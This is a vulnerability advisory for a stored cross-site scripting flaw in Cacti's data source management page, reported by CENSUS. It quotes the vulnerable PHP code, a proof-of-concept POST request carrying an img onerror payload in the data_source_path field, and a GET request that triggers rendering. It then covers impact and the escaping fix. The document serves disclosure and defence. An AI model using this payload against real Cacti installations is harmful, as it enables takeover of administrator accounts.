CVE-2023-39516: Cross-Site Scripting vulnerability with Data Source Information when managing Data Sources

Summary

A Stored Cross-Site-Scripting Vulnerability allows an authenticated user to poison data stored in the cacti's database. These data will be viewed by administrative cacti accounts and execute JavaScript code in the victim’s browser at view-time.

Details

The script under data_sources.php displays the data source management information (e.g. data source path, polling configuration etc.) for different data visualizations of the cacti app. CENSUS found that an adversary that is able to configure a malicious data-source path, can deploy a stored XSS attack against any user of the same (or broader) privileges.

A user that possesses the ‘General Administration>Sites/Devices/Data’ permissions can configure the data source path in Cacti. This configuration occurs through http://<HOST>/cacti/data_sources.php. The same page can be used for previewing the data source path.

The relevant vulnerable code can be found in data_sources.php:1166

/* display the debug mode box if the user wants it */ if ((isset($_SESSION[‘ds_debug_mode’])) && (isset_request_var(‘id’))) { ?> <table style=’width:100%’> <tr> <td> <span class=’textInfo’><?php print __(‘Data Source Debug’);?></span><br> <pre><?php print @rrdtool_function_create(get_request_var(‘id’), true);?></pre> </td> </tr> </table> <?php }

The XSS vulnerability is due to the @rrdtool_function_create(get_request_var(‘id’), true); statement which inserts the debug information as raw text to the resulting HTML view. This malicious input will be rendered each time the server executes the above code block, leading to a stored-XSS attack.

A Stored XSS attack, aka Stored Cross Site Scripting attack, is manifested when an adversary poisons data that is stored in the backend with malicious JavaScript code. If a site is vulnerable to a stored XSS attack then when the poisoned data get rendered on the victim’s browser, the malicious code block will become part of the browser’s DOM and with thus be executed at view-time.

One must note that it is possible to force the debug condition by providing a link of the form:

http://<HOST>/cacti/data_sources.php?action=ds_edit&id=8&debug=1

PoC

To verify the issue one can perform a call of the following form, in order to place a malicious payload in the cacti database:

POST /cacti/data_sources.php?header=false HTTP/1.1
Host: HOST
Content-Length: 761
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://<HOST>
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: <COOKIE>
Connection: close

__csrf_magic=<CSRF TOKEN>&data_template_id=3&host_id=2&_data_template_id=3&_host_id=2&_data_input_id=15&data_template_data_id=198&local_data_template_data_id=3&local_data_id=8&name=%7Chost_description%7C+-+Apache+HTTP++-+CPU+Load&data_source_path=%3Cpath_rra%3E%2Fasdf_apache_cpuload_8.rrd%3Cimg+src%3Dx+onerror%3D%22alert('data+source+path')%22%3E&data_input_id=15&data_source_profile_id=1&rrd_step=300&active=on&data_source_name_277=apache_cpuload&rrd_minimum_277=0&rrd_maximum_277=100&data_source_type_id_277=1&rrd_heartbeat_277=600&data_input_field_id_277=52&value_51=asdf&save_component_data=1&save_component_data_source=1&action=save

For the attacker to place the malicious payload, the aforementioned ‘General Administration>Sites/Devices/Data’ privileges are required. For the victim to view the malicious information, the same or higher privileges are required.

An example request that renders the malicious data can be found below:

GET /cacti/data_sources.php?action=ds_edit&id=8&debug=1 HTTP/1.1
Host: <HOST>
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: <COOKIE>
Connection: close

Following the html code in which our payload will be rendered:

<td> <span class="textInfo">Data Source Debug</span><br> pre>/usr/bin/rrdtool create \ /var/www/html/cacti/rra/scriptalertdevicescript_apache_cpuload_39.rrd<script>alert(‘data source path’)</script> \ –start 0 --step 300 \ DS:apache_cpuload:GAUGE:600:0:100 \ RRA:AVERAGE:0.5:1:600 \ RRA:AVERAGE:0.5:6:700 \ RRA:AVERAGE:0.5:24:775 \ RRA:AVERAGE:0.5:288:797 \ RRA:MIN:0.5:1:600 \ RRA:MIN:0.5:6:700 \ RRA:MIN:0.5:24:775 \ RRA:MIN:0.5:288:797 \ RRA:MAX:0.5:1:600 \ RRA:MAX:0.5:6:700 \ RRA:MAX:0.5:24:775 \ RRA:MAX:0.5:288:797 \ RRA:LAST:0.5:1:600 \ RRA:LAST:0.5:6:700 \ RRA:LAST:0.5:24:775 \ RRA:LAST:0.5:288:797 \ </pre> </td>

and the alert(.) message after the page request

Impact

To perform the Stored XSS attack the adversary needs to be an authorized cacti user with the following permissions:

• ‘General Administration>Sites/Devices/Data’

The victim of the stored XSS attack could be any account with the same or broader privileges
including administrative accounts.

Once the attacker has executed the malicious JavaScript within the victim’s browser it is possible to

• perform a victim-account takeover
• perform arbitrary actions on the platform as the victim user
• redirect the user to a malicious website
• ask for sensitive information, under the cover of the cacti webpage
• run browser related exploits and attacks
• join a browser botnet and participate in a DDoS attack

Remediation

Before rendering this user supplied information either make this be a text element in the rendered HTML or escape (by using HTML entities) the content so that the malicious block will not be considered as code in the final HTML output.

The issue was identified by Vissarion Moutafis of CENSUS. CENSUS will be releasing an advisory for this issue once a release that fixes the issue becomes available (or in 90 days, whichever comes first). Should you require assistance with the review of the patch we will be more than happy to help!